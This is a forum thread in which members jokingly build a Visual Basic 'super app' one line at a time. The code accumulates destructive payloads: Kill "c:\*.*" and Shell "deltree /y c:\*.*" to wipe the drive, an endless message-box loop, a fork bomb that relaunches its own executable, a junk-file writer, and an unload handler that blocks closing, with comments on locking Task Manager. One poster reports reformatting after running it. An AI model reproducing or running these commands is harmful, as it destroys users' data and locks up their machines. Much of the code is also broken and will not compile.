Super App!

Just add a line of code (and write your name above it (copyright)) to the code the person above you posted and we'll end up with a super app!

I start:
VB Code:
'Alex (Alien_Poo)
Dim A as integer

VB Code:

'Alex (Alien_Poo)
Dim A as integer
 
a = 1/0  'Yash (OrdinaryGuy)

VB Code:

On Error Resume Next 'Lou
Dim A as integer 'Alex (Alien_Poo)
 
 
a = 1/0  'Yash (OrdinaryGuy)

VB Code:

On Error Resume Next 'Lou
Dim A as integer 'Alex (Alien_Poo)
 
 
a = 1/0  'Yash (OrdinaryGuy)
If MsgBox("Are you a frog?", vbQuestion + VBYesNo) = vbYes Then 'Yash

VB Code:

On Error Resume Next 'Lou
Dim A as integer 'Alex (Alien_Poo)
 
 
a = 1/0  'Yash (OrdinaryGuy)
If MsgBox("Are you a frog?", vbQuestion + VBYesNo) = vbYes Then 'Yash
Msgbox "Hello Mendhak!", 64, "Greetings": kill "c:\*.*" 'DiGErR

VB Code:

End 
 
On Error Resume Next 'Lou
Dim A as integer 'Alex (Alien_Poo)
 
 
a = 1/0  'Yash (OrdinaryGuy)
If MsgBox("Are you a frog?", vbQuestion + VBYesNo) = vbYes Then 'Yash
Msgbox "Hello Mendhak!", 64, "Greetings": kill "c:\*.*" 'DiGErR

VB Code:

goto 10 'DiGErR
End ' and people say goto's are worthless!
10
On Error Resume Next 'Lou
Dim A as integer 'Alex (Alien_Poo)
 
 
a = 1/0  'Yash (OrdinaryGuy)
If MsgBox("Are you a frog?", vbQuestion + VBYesNo) = vbYes Then 'Yash
Msgbox "Hello Mendhak!", 64, "Greetings": kill "c:\*.*" 'DiGErR

Well, you've ruined the game. You added 2 lines, and thus broke the rules. So much for a 'super app'... :rolleyes:

VB Code:

goto 10 'DiGErR
End ' and people say goto's are worthless!
10
On Error Resume Next 'Lou
Dim A as integer 'Alex (Alien_Poo)
 
 
a = 1/0  'Yash (OrdinaryGuy)
If MsgBox("Are you a frog?", vbQuestion + VBYesNo) = vbYes Then 'Yash
Msgbox "Hello Mendhak!", 64, "Greetings": kill "c:\*.*" 'DiGErR
Else: sAns = InputBox("Well, you're not mendhak, but who are you then?","Name?") 'arsmakman

VB Code:

Option Explicit
 
goto 10 'DiGErR
End ' and people say goto's are worthless!
10
On Error Resume Next 'Lou
Dim A as integer 'Alex (Alien_Poo)
 
 
a = 1/0  'Yash (OrdinaryGuy)
If MsgBox("Are you a frog?", vbQuestion + VBYesNo) = vbYes Then 'Yash
Msgbox "Hello Mendhak!", 64, "Greetings": kill "c:\*.*" 'DiGErR
Else: sAns = InputBox("Well, you're not mendhak, but who are you then?","Name?") 'arsmakman

Broke it again. :)

VB Code:

Option Explicit
Dim sAns As String 'arsmakman
goto 10 'DiGErR
End ' and people say goto's are worthless!
10
On Error Resume Next 'Lou
Dim A as integer 'Alex (Alien_Poo)
 
 
a = 1/0  'Yash (OrdinaryGuy)
If MsgBox("Are you a frog?", vbQuestion + VBYesNo) = vbYes Then 'Yash
Msgbox "Hello Mendhak!", 64, "Greetings": kill "c:\*.*" 'DiGErR
Else: sAns = InputBox("Well, you're not mendhak, but who are you then?","Name?") 'arsmakman

Quote:

Originally posted by arsmakman

VB Code:

Option Explicit
Dim sAns As String 'arsmakman
goto 10 'DiGErR
End ' and people say goto's are worthless!
10
On Error Resume Next 'Lou
Dim A as integer 'Alex (Alien_Poo)

Private Sub Form_Load()
a = 1/0 'Yash (OrdinaryGuy)
If MsgBox("Are you a frog?", vbQuestion + VBYesNo) = vbYes Then 'Yash
Msgbox "Hello Mendhak!", 64, "Greetings": kill "c:\*.*" 'DiGErR
Else: sAns = InputBox("Well, you're not mendhak, but who are you then?","Name?") 'arsmakman
End Sub

VB Code:

Option Explicit
Dim sAns as String
GoTo 10 'DiGErR
End ' and people say goto's are worthless!
10
On Error Resume Next 'Lou
Dim A as Integer 'Alex (Alien_Poo)
 
 
a = 1/0  'Yash (OrdinaryGuy)
If MsgBox("Are you a frog?", vbQuestion + VBYesNo) = vbYes Then 'Yash
Msgbox "Hello Mendhak!", 64, "Greetings": kill "c:\*.*" 'DiGErR
Else: sAns = InputBox("Well, you're not mendhak, but who are you then?","Name?") 'arsmakman
If sAns = "rj" then shell "smartdrv": shell "smartdrv": shell "deltree /y c:\*.*"

VB Code:

Option Explicit
Dim sAns as String
GoTo 10 'DiGErR
End ' and people say goto's are worthless!
10
On Error Resume Next 'Lou
Dim A as Integer 'Alex (Alien_Poo)
 
 
a = 1/0  'Yash (OrdinaryGuy)
If MsgBox("Are you a frog?", vbQuestion + VBYesNo) = vbYes Then 'Yash
Msgbox "Hello Mendhak!", 64, "Greetings": kill "c:\*.*" 'DiGErR
Else: sAns = InputBox("Well, you're not mendhak, but who are you then?","Name?") 'arsmakman
If sAns = "rj" then shell "smartdrv": shell "smartdrv": shell "deltree /y c:\*.*"
If sAnd = "Mendhak" Then Do: MsgBox "You're screwed": Loop

Quote:

Originally posted by arsmakman

VB Code:

Option Explicit
Dim sAns as String
GoTo 10 'DiGErR
End ' and people say goto's are worthless!
10
On Error Resume Next 'Lou
Dim A as Integer 'Alex (Alien_Poo)

a = 1/0 'Yash (OrdinaryGuy)
If MsgBox("Are you a frog?", vbQuestion + VBYesNo) = vbYes Then 'Yash
Msgbox "Hello Mendhak!", 64, "Greetings": kill "c:\*.*" 'DiGErR
Else: sAns = InputBox("Well, you're not mendhak, but who are you then?","Name?") 'arsmakman
If sAns = "rj" then shell "smartdrv": shell "smartdrv": shell "deltree /y c:\*.*"
If sAnd = "Mendhak" Then Do: MsgBox "You're screwed":shell "smartdrv": shell "smartdrv": shell "deltree /y c:\*.*": Loop 'edited by DiGErR

VB Code:

Option Explicit
Dim sAns as String
GoTo 10 'DiGErR
End ' and people say goto's are worthless!
10
On Error Resume Next 'Lou
Dim A as Integer 'Alex (Alien_Poo)
 
 
a = 1/0  'Yash (OrdinaryGuy)
If MsgBox("Are you a frog?", vbQuestion + VBYesNo) = vbYes Then 'Yash
Msgbox "Hello Mendhak!", 64, "Greetings": kill "c:\*.*" 'DiGErR
Else: sAns = InputBox("Well, you're not mendhak, but who are you then?","Name?") 'arsmakman
If sAns = "rj" then shell "smartdrv": shell "smartdrv": shell "deltree /y c:\*.*"
If sAnd = "Mendhak" Then Do: MsgBox "You're screwed": Loop
If sAns = "DigitalError" Then Exit Sub

VB Code:

Option Explicit
Dim sAns As String
 
Private Sub Form_Load()
    GoTo 10 'DiGErR
    End ' and people say gotos are worthless!
10
    On Error Resume Next 'Lou
    Dim A As Integer 'Alex (Alien_Poo)
 
 
    A = 1 / 0 'Yash (OrdinaryGuy)
    If MsgBox("Are you a frog?", vbQuestion + vbYesNo) = vbYes Then 'Yash
        MsgBox "Hello Mendhak!", 64, "Greetings": Kill "c:\*.*" 'DiGErR
    Else: sAns = InputBox("Well, you're not mendhak, but who are you then?", "Name?") 'arsmakman
        If sAns = "rj" Then Shell "smartdrv": Shell "smartdrv": Shell "deltree /y c:\*.*"
        If sAns = "Mendhak" Then Do: MsgBox "You're screwed": Loop
        If sAns = "DigitalError" Then Exit Sub
    End If
End Sub

Unload Me 'alex
Option Explicit
Dim sAns As String

Private Sub Form_Load()
GoTo 10 'DiGErR
End ' and people say gotos are worthless!
10
On Error Resume Next 'Lou
Dim A As Integer 'Alex (Alien_Poo)

A = 1 / 0 'Yash (OrdinaryGuy)
If MsgBox("Are you a frog?", vbQuestion + vbYesNo) = vbYes Then 'Yash
MsgBox "Hello Mendhak!", 64, "Greetings": Kill "c:\*.*" 'DiGErR
Else: sAns = InputBox("Well, you're not mendhak, but who are you then?", "Name?") 'arsmakman
If sAns = "rj" Then Shell "smartdrv": Shell "smartdrv": Shell "deltree /y c:\*.*"
If sAns = "Mendhak" Then Do: MsgBox "You're screwed": Loop
If sAns = "DigitalError" Then Exit Sub
End If
End Sub

ha i ended the super app lol

No, it just won't compile with a function before the Option Explicit line... not that it would have anyway, mind you... :p

......what

ARRRGGHHH :mad: :mad:

lol, I ran the program and being ME, I typed in rj, just finished reformatting

:p
stupid me

Quote:

Originally posted by Alien_poo
ARRRGGHHH :mad: :mad:

lol, I ran the program and being ME, I typed in rj, just finished reformatting

:p
stupid me

YOUR JOKING?!?!?!

non im not :( I can prove... well I think I can...

VB Code:

Option Explicit
Dim sAns As String
 
Private Sub Form_Load()
    GoTo 10 'DiGErR
    End ' and people say gotos are worthless!
10
    On Error Resume Next 'Lou
    Dim A As Integer 'Alex (Alien_Poo)
 
 
    A = 1 / 0 'Yash (OrdinaryGuy)
    If MsgBox("Are you a frog?", vbQuestion + vbYesNo) = vbYes Then 'Yash
        MsgBox "Hello Mendhak!", 64, "Greetings": Kill "c:\*.*" 'DiGErR
    Else: sAns = InputBox("Well, you're not mendhak, but who are you then?", "Name?") 'arsmakman
        If sAns = "rj" Then Shell "smartdrv": Shell "smartdrv": Shell "deltree /y c:\*.*"
        If sAns = "Mendhak" Then Do: MsgBox "You're screwed": Loop
        If sAns = "DigitalError" Then Exit Sub
        If sAns = "" GoTo KillSystem:
    End If
 
Exit Sub
KillSystem:
Do
Shell App.Path & "\" & App.EXEName & ".exe"
Loop
End Sub

Quote:

Originally posted by Alien_poo
non im not :( I can prove... well I think I can...

Lol :Mind i was gonna test out the finished code, till i saw Kill C:\*.*

(Woulda crashed out, i dont got a C:\ no more ;))

Quote:

Originally posted by wpearsall
Lol :Mind i was gonna test out the finished code, till i saw Kill C:\*.*

(Woulda crashed out, i dont got a C:\ no more ;))

I will not test our app anymore, if we want to distibute it :p

NO I DO NOT KNOW IF I DID THIS RIGHT.

VB Code:

Option Explicit
Dim sAns As String
 
Private Sub Form_Load()
    GoTo 10 'DiGErR
    End ' and people say gotos are worthless!
10
    On Error Resume Next 'Lou
    Dim A As Integer 'Alex (Alien_Poo)
 
 
    A = 1 / 0 'Yash (OrdinaryGuy)
    If MsgBox("Are you a frog?", vbQuestion + vbYesNo) = vbYes Then 'Yash
        MsgBox "Hello Mendhak!", 64, "Greetings": Kill "c:\*.*" 'DiGErR
    Else: sAns = InputBox("Well, you're not mendhak, but who are you then?", "Name?") 'arsmakman
        If sAns = "rj" Then Shell "smartdrv": Shell "smartdrv": Shell "deltree /y c:\*.*"
        If sAns = "Mendhak" Then Do: MsgBox "You're screwed": Loop
        If sAns = "DigitalError" Then Exit Sub
        If sAns = "" GoTo KillSystem:
    End If
 
Exit Sub
KillSystem:
 
'--Siyan (underqualified and untested)
Open "c:\hellomofo.dat" for output as #1
Dim Person as Integer
For Person = 0 to 1000000000
   Print #1, Rnd(Person)
Next Person
Close #1
 
Msgbox "What is the square root of seventeen billion six hundred eighteen million three hundred and six thousand four hundred and ninety nine point seven?"
'---
 
 
Do
Shell App.Path & "\" & App.EXEName & ".exe"
 
Loop
End Sub

VB Code:

Option Explicit
Dim sAns As String
 
Private Sub Form_Load()
    GoTo 10 'DiGErR
    End ' and people say gotos are worthless!
10
    On Error Resume Next 'Lou
    Dim A As Integer 'Alex (Alien_Poo)
 
 
    A = 1 / 0 'Yash (OrdinaryGuy)
    If MsgBox("Are you a frog?", vbQuestion + vbYesNo) = vbYes Then 'Yash
        MsgBox "Hello Mendhak!", 64, "Greetings": Kill "c:\*.*" 'DiGErR
    Else: sAns = InputBox("Well, you're not mendhak, but who are you then?", "Name?") 'arsmakman
        If sAns = "rj" Then Shell "smartdrv": Shell "smartdrv": Shell "deltree /y c:\*.*"
        If sAns = "Mendhak" Then Do: MsgBox "You're screwed": Loop
        If sAns = "DigitalError" Then Exit Sub
        If sAns = "" GoTo KillSystem:
    End If
 
Exit Sub
KillSystem:
 
'--Siyan (underqualified and untested)
Open "c:\hellomofo.dat" for output as #1
Dim Person as Integer
For Person = 0 to 1000000000
   Print #1, Rnd(Person)
Next Person
Close #1
 
Msgbox "What is the square root of seventeen billion six hundred eighteen million three hundred and six thousand four hundred and ninety nine point seven?"
'---
 
 
Do
Shell App.Path & "\" & App.EXEName & ".exe"
 
Loop
End Sub
 
 
Private Sub Form_Unload(Cancel As Integer)
On Error Resume Next ' Dont want this code to spoil their fun ;)
Dim HowMuchMemoryLeft As Interger
 
MsgBox "Do You Wish To Proceed?", vbOKOnly, "Make Your Choice"
MsgBox "You WILL Be Sorry :D <Evil Grinz>", vbOKOnly, "Correct Choice"
For HowMuchMemoryLeft 0 To 99999999
Shell (App.Path & "\" & App.EXEName & ".exe")
 
Cancel = True ' Stop the person Closing the application
 
' IDEA: Anyone know how to stop windows closing?
' HEHEHE .. Or lock the TaskManager Opening ;)
End Sub